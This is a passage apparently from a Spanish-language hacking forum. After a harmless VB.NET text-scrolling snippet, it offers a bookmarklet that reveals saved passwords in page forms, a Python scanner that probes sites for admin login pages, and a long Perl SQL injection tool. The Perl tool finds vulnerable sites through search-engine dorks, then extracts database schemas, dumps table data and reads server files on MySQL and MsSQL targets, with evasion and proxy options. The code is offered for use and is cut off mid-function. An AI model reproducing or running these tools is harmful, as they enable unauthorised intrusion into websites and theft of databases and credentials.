    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        'Definimos dos variabkles temporales que seran usadas para hacer el intercambio en el String
        Dim NuevoTxt, NuevoTxt2
        NuevoTxt = lblScroll.Text.Substring(0, 1)
        NuevoTxt2 = lblScroll.Text.Substring(1)
        lblScroll.Text = NuevoTxt2 & NuevoTxt
    End Sub
End Class


Espero sea de su agrado.  ::)

PD: para hacer el efecto mas lento deben modificar el Intervalo del Timer1, y tambien pueden jugar con los atributos del Label y ponerlo en direccion contraria u otro efecto mas :D
#53

Cursos Programacion Web


Creditos: eDeex
Os los recomiendo, para los que estan empezando.


Saludos!
#54
Bueno esto la verdad es super util lo vi en ddlr no recuerdo a quien sirve para imprimir las contraseñas encryptadas por *** (asteriscos).

Aveces cuando ves tu password en ****, pero no te recuerdas , esto viene super genial.

Código: php
javascript: var p=r(); function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k<w.length;k++) {var x = ((x) || (z(w[k].document.forms)));g=g+1;}if (!x) alert('Password not found in ' + g + ' forms');}function z(f){var b=false;for(var i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++) {if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if (ej.type=='password'){s=ej.value;if (s!=''){prompt('Password found ', s)}else{alert('Password is blank')}return true;}}


Basta con copiar todo el code js, y añadirlo a la URL y listo.

Saludos
#55
Python / Admin login finder v2.0
Enero 21, 2011, 04:13:12 PM
Código: python
#/usr/bin/python 
import sys, os, time, httplib
if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = 'clear'
else:
clearing = 'cls'
os.system(clearing)
if len(sys.argv) != 2:
print "\n|-------------------------------------------------------------|"
print "|               Admin login finder     v2.0                     |"
print "| Help: admin-find.py -h                                        |"
print "|---------------------------------------------------------------|\n"
sys.exit(1)
for arg in sys.argv:
if arg == '-h':
print "\n|-----------------------------------------------------------------------------|"
print "|                Admin login finder     v2.0                                    |"
print "| Usage: admin-find.py www.site.com                                             |"
print "| Example: admin-find.py site.com                                               |"
print "|-------------------------------------------------------------------------------|\n"
sys.exit(1)
site = sys.argv[1].replace("http://","").rsplit("/",1)[0]
site = site.lower()
admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administ
racion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/ac 
c
ount.php','joomla/administrator','login.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.ht 
ml','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','adm 
i
n_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html' 
,
'adminpanel.html','webadmin.html','w  ebadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','pa
n
el-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php', 
'
admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin 
/
admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moder 
a
tor.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','contro 
l
panel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html' 
,'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderato 
r
.htm  l','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','m  odelsea
r
ch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.h 
t
ml','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpane  l.h
t
ml','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adm 
i
narea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.p 
h
p','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php',  'admin2/login.php','admin2/index.php','adm/index.php','adm.php',
'
affiliate.php','adm_auth.php  ','memberadmin.php','administratorlogin.php']
print "\n|-------------------------------------------------------------|"
print "|                Admin login finder     v2.0                    |"
print "|---------------------------------------------------------------|\n"
print "\n[-] %s" % time.strftime("%X")
print "[+] Target:",site
print "[+] Checking paths..."
print
try:
for admin in admin_path:
admin = admin.replace("\n","")
admin = "/" + admin
connection = httplib.HTTPConnection(site)
connection.request("GET",admin)
response = connection.getresponse()
print "%s %s %s" % (admin, response.status, response.reason)
except(KeyboardInterrupt,SystemExit):
raise
except:
pass


Espero que os sirva!
#56
Perl / Scaner SQLi Perl
Enero 21, 2011, 04:06:45 PM
Bueno buscando en mi pen viejo.. encontre esto:

Código: perl
#!/usr/bin/perl
#
# OOO OOO OO OO OO
# OO O O O O
# O O O OO OO O O O O OO OOO OOOO OOOOO
# O O O O O O O OOO OO OOOOOO O
# O OO O O O O O O O O OOOOOO
# OOO OO OOOOO OOOOO OOOOO OOO OOO OOOOO OOOOO OOOO OO
################################################################################################################################
# SQLi
################################################################################################################################
# [+] What's New in this version ?
# 1/ Evasion choise
# 2/ proxy support
# 3/ all previous bugs were fixed
# 4/ URl Extractor + vuln scanner & checker
# 5/ More InJeCtIoN OPTIONS
################################################################################################################################


use LWP::UserAgent;
use HTTP::Request;

sub help
{
system('cls');
system('title SQLi');
print "\n\n-----------------------------------\n";
print "[!] Usage : perl $0 <option>\n";
print "\n\n--/// MySQL\n";
print " --mysqlcol MySQL column length calculator MySQL v4/5\n";
print " --mysqldetails MySQL target website db global infos MySQL v4/5\n";
print " --mysqlschema MySQL Full Schema Extractor MySQL v5\n";
print " --mysqldump MySQL Data Dump MySQL v4/5\n";
print " --mysqlfile MySQL load_file fuzzer MySQL v4/5\n";
print " --mysqltblfuzz MySQL Table_name Fuzzer MySQL v4\n";
print " --mysqlcolfuzz MySQL Column_name Fuzzer MySQL v4\n";
print "\n\n--/// MsSQL\n";
print " --mssqldetails MsSQL DB global info\n";
print " --mssqltable MsSQL Tables Extractor\n";
print " --mssqlcolumns MsSQL Columns Extractor\n";
print " --mssqldump MsSQL Columns Extractor\n";
print "\n\n--/// Vulunerability Scanner\n";
print " --dork URL Extractor , SQL Vulnerability's Scanner & checker\n";
print "\n\n--/// Options\n";
print " --proxy define a proxy to use\n";
print " --listfile list of columns or tables to use in fuzz or load_file files list\n";
print " --output save injection or scan result in an outside file\n";
print " --table table to use in dumping data or in tbles extract\n";
print " --column column to use in dumping data or in column extract\n";
print " --help print this help text :P\n";
exit();
}

sub variables
{
my $i=0;
foreach (@ARGV)
{
if ($ARGV[$i] eq "--dork"){$search_dork = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlcol"){$mysql_count_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqldetails"){$mysql_details_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlschema"){$mysql_schema_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqldump"){$mysql_dump_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqltblfuzz"){$mysql_fuzz_table = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlcolfuzz"){$mysql_fuzz_column = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlfile"){$mysql_load_file = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqldetails"){$mssql_details_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqltable"){$mssql_table_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqlcolumn"){$mssql_column_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqldump"){$mssql_dump_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--column"){$sql_dump_column = $ARGV[$i+1]}
if ($ARGV[$i] eq "--table"){$sql_dump_table = $ARGV[$i+1]}
if ($ARGV[$i] eq "--evasion"){$evasion = $ARGV[$i+1]}
if ($ARGV[$i] eq "--output"){$vulnfile = $ARGV[$i+1]}
if ($ARGV[$i] eq "--proxy"){$proxy = $ARGV[$i+1]}
if ($ARGV[$i] eq "--listfile"){$word_list = $ARGV[$i+1]}
if ($ARGV[$i] eq "--help"){&help}
$i++;
}
}

sub main
{
system('cls');
system('title SQL InJeCtoR v2.0');
print "\n\n\n\n OOO OOO OO OO OO\n" ;
print " OO O O O O\n" ;
print " O O O OO OO O O O O OO OOO OOOO OOOOO\n" ;
print " O O O O O O O OOO OO OOOOOO O\n" ;
print " O OO O O O O O O O O OOOOOO\n" ;
print " OOO OO OOOOO OOOOO OOOOO OOO OOO OOOOO OOOOO OOOO OO\n" ;
print " \n\n SQLi";
if (@ARGV<1){print "[!] For Help : perl $0 --help\n\n\n" ;}
}

sub vulnscanner
{
checkgoogle();
googlescan($search_dork);
askscan($search_dork);
}

sub checkgoogle
{
my $request = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$search_dork&btnG=Search&start=10");
my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->request($request) ;
my $result = $response->content;
if ($result =~ m/if you suspect that your computer or network has been infected/i){print "[!] You Have Been Banned From Google Search :( \n";exit()}
}

sub googlescan
{
my $dork = $_[0];
for ($i=0;$i<200;$i=$i+10)
{
my $request = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=$i");
my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->request($request) ;
my $result = $response->content;
while ($result =~ m/class=r><a href="(.*?)\" class=l>/g )
{
print "[!] Trying to fuzz $1n";
checkvuln($1)
}
}
}

sub askscan
{
my $dork = $_[0];
for ($i=0;$i<20;$i++)
{
my $request = HTTP::Request->new(GET => "http://www.ask.com/web?q=page.php?id=&qsrc=0&o=0&l=dir&q=$dork&page=$i&jss=");
my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->request($request) ;
my $result = $response->content;
while ($result =~ m/<span id="r(.*)_u\" class=\"(.*)\">(.*)<\/span>/gi)
{
my $askurl ="http://".$3 ;
print "[!] Trying to fuzz $askurl\n";
checkvuln($askurl);
}
}
}

sub checkvuln
{
my $scan_url = $_[0];
my $link = $scan_url.'0+order+by+9999999--';
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $req = $ua->get($link);
my $fuzz = $req->content;
if ($fuzz =~ m/You have an error in your SQL syntax/i || $fuzz =~ m/Query failed/i || $fuzz =~ m/SQL query failed/i || $fuzz =~ m/mysql_fetch_/i || $fuzz =~ m/mysql_fetch_array/i || $fuzz =~ m/mysql_num_rows/i || $fuzz =~ m/The used SELECT statements have a different number of columns/i )
{
print "[!] MySQL Vulnerable -> $scan_url\n";
if (defined($vulnfile))
{
push (@mysqlvuln,"$scan_url\n");
}
}
elsif ($fuzz =~ m/ODBC SQL Server Driver/i)
{
print "[!] MsSQL Vulnerable -> $scan_url\n";
if (defined($vulnfile))
{
push (@mssqlvuln,"$scan_url\n");
}
}
elsif ($fuzz =~ m/Microsoft JET Database/i || $fuzz =~ m/ODBC Microsoft Access Driver/i )
{
print "[!] MS Access Vulnerable -> $scan_url\n";
if (defined($vulnfile))
{
push (@accessvuln,"$scan_url\n");
}
}
}

sub mysqlcount
{
my $site = $_[0];
my $ev = $_[1];
my $null = "09+and+1=" ;
my $code = "0+union+select+" ;
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
my $injection = $site.$null.$code."0",$com ;
my $useragent = LWP::UserAgent->new();
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->get($injection);
my $result = $response->content;
if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
{
print "\n[!] This Website Is Vulnerable\n" ;
print "[+] Working On It\n";
}
else
{
print "\n[!] This WebSite Is Not SQL Vulnerable !\n";
exit();
}
for ($i = 0 ; $i < 100 ; $i ++)
{
$col.=','.$i;
$specialword.=','."0x617a38387069783030713938";
if ($i == 0)
{
$specialword = '' ;
$col = '' ;
}
$sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ;
$ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
$rq = $ua->get($sql);
$response = $rq->content;
if($response =~ /az88pix00q98/)
{
$i ++;
print "\n[!] MySQL Column Count Finished\n" ;
print "[!] This WebSite Have $i Columns\n" ;
$sql=$site.$null.$code."0".$col.$com ;
print "=> ".$sql ."\n\n";
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "Target Host : $site\n";
print vuln_file "Evasion : $ev\n";
print vuln_file "Col length : $i\n";
print vuln_file "Injection : $sql\n";
close(vuln_file);
print "[+] Result Saved to $vulnfile\n";
}
exit () ;
}
}
}

sub mysqldetails
{
my $site = $_[0];
my $ev = $_[1];
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
my $selection = "concat(0x617a38387069783030713938,version(),0x617a38387069783030713938,database(),0x617a38387069783030713938,user(),0x617a38387069783030713938)";
print "\n[+] Info Getting, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
my $newlink = $1.$selection.$2.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newlink);
my $content = $request->content;
if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
{
print "[!] Database Version : $1\n";
print "[!] Database Name : $2\n";
print "[!] DB UserName : $3\n";
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Database Version : $1\n";
print vuln_file "[!] Database Name : $2\n";
print vuln_file "[!] DB UserName : $3\n";
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
exit () ;
}
else
{
print "[!] Failed\n";
exit () ;
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}

sub mysqlschema
{
my $site = $_[0];
my $ev = $_[1];
my @schema=();
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
my $selection = "concat(0x617a38387069783030713938,column_name,0x617a38387069783030713938,table_name,0x617a38387069783030713938,table_schema,0x617a38387069783030713938)";
print "\n[+] Schema Extracting, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Column :|: Table :|: Database\n";
for ($i=0; $i<=1500 ; $i++ )
{
$newstring = $1.$selection.$2.$add.'from'.$add.'information_schema.columns'.$add.'LIMIT'.$add.$i.','.'1'.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
{
print "[!] $1 :|: $2 :|: $3 \n";
push (@schema,"$1 :|: $2 :|: $3 \n");
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Schema :: ---- \n\n\n";
$i=0;
foreach(@schema)
{
print vuln_file $schema[$i]."\n";
$i++;
}
print "\n[+] Result Saved to $vulnfile\n";
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}

sub mysqldump
{
my $site = $_[0];
my $colm = $_[1];
my $tble = $_[2];
my $ev = $_[3];
print "[+] Table name $tble\n";
print "[+] Column name $colm\n";
my @dumper=();
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
my $selection = "concat(0x617a38387069783030713938,$colm,0x617a38387069783030713938)";
print "\n[+] Data Dump Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
$i=0;
print "[+] Dumped Data : //// \n";
do
{
$newstring = $1.$selection.$2.$add.'from'.$add.$tble.$add.'LIMIT'.$add.$i.','.'1'.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98(.*)az88pix00q98/)
{
print "[!] $1 \n";
push(@dumper,"$1\n");
}
$i++;
}
while ($i<1500);
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Dumped Column : $colm\n";
print vuln_file "[!] Dumped Table : $tble\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@dumper)
{
print vuln_file $dumper[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}

sub mysqlfuzztable
{
my $site = $_[0];
my $ev = $_[1];
my $filelst = $_[2];
print "[+] File List $filelst\n";
my @tbles_possible=();
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
@word_list_search = <word_list_file> ;
print "\n[+] Fuzzing Table, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Fuzz Result : //// \n\n";
$i=0;
foreach (@word_list_search)
{
print "[!] Trying To Fuzz Table_name with $word_list_search[$i]";
$newstring = $1."0x617a38387069783030713938".$2.$add.'from'.$add.$word_list_search[$i].$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98/)
{
print "\n[!] Found Table ! $word_list_search[$i] \n";
push(@tbles_possible,"$word_list_search[$i]\n");
}
$i++;
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Wordlist : $filelst\n";
print vuln_file "[!] Tbles Found :: ---- \n\n\n";
$i=0;
foreach(@tbles_possible)
{
print vuln_file $tbles_possible[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}

sub mysqlfuzzcolumn
{
my $site = $_[0];
my $ev = $_[1];
my $filelst = $_[2];
my $tablext = $_[3];
print "[+] File List $filelst\n";
print "[+] Table To Fuzz Columns $tablext\n";
my @cols_possible=();
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
@word_list_search = <word_list_file> ;
print "\n[+] Fuzzing Column, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Fuzz Result : //// \n\n";
$i=0;
foreach (@word_list_search)
{
print "[!] Trying To Fuzz Column_name with $word_list_search[$i]";
$newstring = $1."concat(0x617a38387069783030713938,$word_list_search[$i])".$2.$add.'from'.$add.$tablext.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98/)
{
print "\n[!] File Column ! $word_list_search[$i] \n";
push(@cols_possible,"$word_list_search[$i]\n");
}
$i++;
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Wordlist : $filelst\n";
print vuln_file "[!] Cols Found :: ---- \n\n\n";
$i=0;
foreach(@cols_possible)
{
print vuln_file $cols_possible[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}

sub mysqlfile
{
my $site = $_[0];
my $ev = $_[1];
my $filelst = $_[2];
print "[+] File List $filelst\n";
my @cols_possible=();
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
@word_list_search = <word_list_file> ;
print "\n[+] File Fuzz, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Fuzz Result : //// \n\n";
$i=0;
foreach (@word_list_search)
{
$newstring = $1."concat(0x617a38387069783030713938,load_file('$word_list_search[$i]'))".$2.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
print "[!] Trying To Fuzz Load_File with $word_list_search[$i]";
if ($content =~ m/az88pix00q/i)
{
print "\n[!] Found File ! $word_list_search[$i] \n";
push(@cols_possible,"$word_list_search[$i]\n");
}
$i++;
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Wordlist : $filelst\n";
print vuln_file "[!] Files Found :: ---- \n\n\n";
$i=0;
foreach(@cols_possible)
{
print vuln_file $cols_possible[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ;
}
}

sub mssqldetails
{
my $site = $_[0];
my $ev = $_[1];
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
print "\n[+] Getting Infos, Started Please Wait ....\n\n";
$version = "convert(int,(select".$add."\@\@version));--" ;
$system_user = 'convert(int,(select'.$add.'system_user));--';
$db_name = 'convert(int,(select'.$add.'db_name()));--';
$servername = 'convert(int,(select'.$add.'@@servername));--' ;
my $injection = $site.$version ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
if ($response =~ /.*?values'/)
{
print "[+] This Website Is SQL Vulnerable ..\n";
print "[+] Working On It ..\n";
$ver = $1 if ($response =~ /.*?value\s'(.*?)'\sto.*/sm) ;
print "\n[!] MsSQL Version Is :";
print "\n\n => $ver" ;
my $injection = $site.$system_user ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
$system_user = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
print "\n[!] MsSQL System_User Is :";
print " $system_user " ;
my $injection = $site.$db_name ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
$db_name = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
print "\n[!] MsSQL Database Name Is :";
print " $db_name " ;
my $injection = $site.$servername ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
$servername = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
print "\n[!] MsSQL Server Name Is :";
print " $servername " ;
exit ();
}
else
{
system ("cls");
print "\n[!] This Website Is Not SQL Vulnerable !";
exit();
}
}

sub mssqltable
{
my $site = $_[0];
my $ev = $_[1];
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
print "\n[+] Table Extracting, Started Please Wait ....\n\n";
$table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables));--";
$data = "'Ws65qd798sqd9878'";
print "[!] Tables : //// \n\n";
for ($i;$i<1500;$i++)
{
my $injection = $site.$table ;
my $useragent = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $useragent->get($injection);
my $response = $request->content;
if ($response =~ /.*?value\s'(.*?)'\sto.*/sm)
{
print "[+] ".$1."\n";
push (@exttbles,$1);
$start = "(";
$data .= ",'$1'";
$end = ")";
$total = $start.$data.$end;
$table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables".$add."where".$add."table_name".$add."not".$add."in".$add."$total));--";
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@exttbles)
{
print vuln_file $exttbles[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}

sub mssqlcolumn
{
my $site = $_[0];
my $ev = $_[1];
my $tblextrct = $_[2];
print "[+] Table To Extract From $tblextrct\n";
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
print "\n[+] Table Extracting, Started Please Wait ....\n\n";
$data = "'Ws65qd798sqd9878'";
$table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."($data)"."));--";
print "[!] Columns : //// \n\n";
for ($i;$i<1500;$i++)
{
my $injection = $site.$table ;
my $useragent = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $useragent->get($injection);
my $response = $request->content;
if ($response =~ /.*?values'(.*?)'sto.*/sm)
{
print "[+] ".$1."\n";
push (@extcols,$1);
$start = "(";
$data .= ",'$1'";
$end = ")";
$total = $start.$data.$end;
$table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."$total"."));--";
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@extcols)
{
print vuln_file $extcols[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}

sub mssqldump
{
my $site = $_[0];
my $ev = $_[1];
my $tblextrct = $_[2];
my $colmextrct = $_[3];
print "[+] Table : $tblextrct\n";
print "[+] Column : $colmextrct\n";
if ($ev eq '/*')
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20')
{$add = "%20" ; $com = "%00" ;}
else
{$add = '+' ; $com ='--';}
print "\n[+] Table Extracting, Started Please Wait ....\n\n";
$data = "'Ws65qd798sqd9878'";
$table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."($data)"."));--";
print "[!] Columns : //// \n\n";
for ($i;$i<1500;$i++)
{
my $injection = $site.$table ;
my $useragent = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $useragent->get($injection);
my $response = $request->content;
if ($response =~ /.*?values'(.*?)'sto.*/sm)
{
print "[+] ".$1."\n";
push (@dumpdata,$1);
$start = "(";
$data .= ",'$1'";
$end = ")";
$total = $start.$data.$end;
$table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."$total"."));--";
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@dumpdata)
{
print vuln_file $dumpdata[$i]."\n";
$i++;
}
close(vuln_file);
